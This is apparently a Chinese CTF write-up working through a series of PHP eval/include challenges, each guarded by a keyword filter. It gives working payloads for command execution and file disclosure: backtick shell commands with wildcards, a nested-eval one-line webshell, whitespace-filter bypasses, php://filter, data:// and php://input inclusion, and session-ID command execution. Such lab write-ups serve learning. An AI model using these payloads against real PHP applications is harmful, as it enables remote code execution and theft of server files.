校队考核被打自闭了 回炉重造
29-36
29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 大小写过滤了flag
- 自己构造的payload
echo `nl ????.???`; # 显示文本内容与行号
echo `tail ????.???`;# 只看文本的后几行
echo `cat ????.???`; # 从第一行开始显示文本内容
echo `more ????.???`; # 一页一页的显示文本内容
echo `less ????.???`; # 与 more 类似,但是比 more 更好的是,它可以往前翻页!
echo `head ????.???`; # 只看文本的前面几行
echo `tac ????.???`; # 从最后一行开始显示文本
echo `nl fla''g.php`;
echo `nl f*`;
- 别人的payload
c=eval($_GET[1])?>&1=system('cat flag.php');
c=?><?=echo `$_GET[1]`;&1=cat flag.php//查看源代码
总结:
- 没有过滤 *和?这两个通配符的时候 *代表0个或多个任意字符 ?匹配一个字符
- nl tail cat more less tac head七个命令都可以查看文件
- 如果只过滤了flag cat这些完整的字符串 可以通过’'绕过
- 调用system函数返回的是该函数执行返回值,比如0表示执行正确,-1执行错误;同时会将cmd命令的结果打印到控制台界面;
- 而反引号
直接返回的就是该cmd的执行结果,但是不会屏幕上表现出来。
- 嵌套eval构造一句话木马 这个方法我想到过 但是我没想到嵌套eval tcl
- ?><?=这是一个神奇的东西 自己搭建环境展示一下
<?php
?>
<?='aaaaaaa'?>
- 访问页面会显示aaaaaaa
<?=”是PHP的一个短的开放式标签,是echo() 的快捷用法
如何想要使用该短标签,必须从PHP.ini文件中的设置启用它。
我们需要在PHP.ini文件中找到以下行并添加(On)来开启,
30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 大小写过滤了上面的内容
- 过滤system就用``好了 flag和php还是可以用上面的方法绕过
- 给个payload
echo `nl fl''ag.p''hp`;
31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 这道题与前面的区别主要在于过滤了.和space
- 自己的payload
echo`nl%09f*`;
?><?=`nl%09f*`;
?><?=`$_GET[1]`;&1=cat flag.php
eval($_GET[1])?>&1=system('cat flag.php');
eval($_GET[1]);&1=system('cat flag.php');
- Tips:
1.与前面的题目相比,考点在于空格的过滤
2.绕过方法 %09 ${IFS}、$IFS$9、<>、<
32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 和前面相比多过滤了几个符号
echo、`、;、(
- 构造payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
- 原本将?>替换为;应该是可行的eval里面必须是完整的PHP语句,但是因为;被过滤了,只能用?>
- 这里利用了文件包含和伪协议去获取flag,用到了文件包含漏洞,涨姿势了
33-36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 多过滤了一个
"
有点迷 - payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
- 到36题都可以用这个去获取flag
37-44
37
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
- 这里有个文件包含,应该使用文件包含漏洞去命令执行
- 起初,我想用php://input伪协议去达成命令执行,但是失败了,结果发现是我的hackbar出现了问题 (草
- payload:
?c=php://input hackbar POST传参<?php system('cat f*');?>
?c=data://text/plain,system('cat f*');?>
?c=data://text/plain,base64;PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://text/plain,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
伪协议中的php://input,同样原理
38
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
-payload:
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
39
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
- 这里过滤了flag,文件包含的时候加了后缀.php
- payload:
c=data://text/plain,<?php system('cat f*');?>
- 提示:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
- 我不太理解为啥php://input失效了
- 等等补坑
40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 过滤了一堆东西,过滤了单引号,$,`
- 没思路了 看了wp
- payload
c=session_start();system(session_id());
- 抓包将
PHPSESSID=ls
这样的话就可以达到命令执行的效果了 - 等同于system(‘ls’);
接着直接改成 c=session_start();highlight_file(session_id());然后PHPSESSID的值修改为flag.php就出问题了。
经过测试发现,受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
转载自羽大佬
- 先把payload写下 highlight_file(next(array_reverse(scandir(pos(localeconv())))));
- 需要用到的函数
- localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
- pos():返回数组中的当前元素的值。
- array_reverse():数组逆序
- scandir():获取目录下的文件
- next(): 函数将内部指针指向数组中的下一个元素,并输出。
- 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
- scandir(pos(localeconv()))就能得到flag.php了
- 转载自羽佬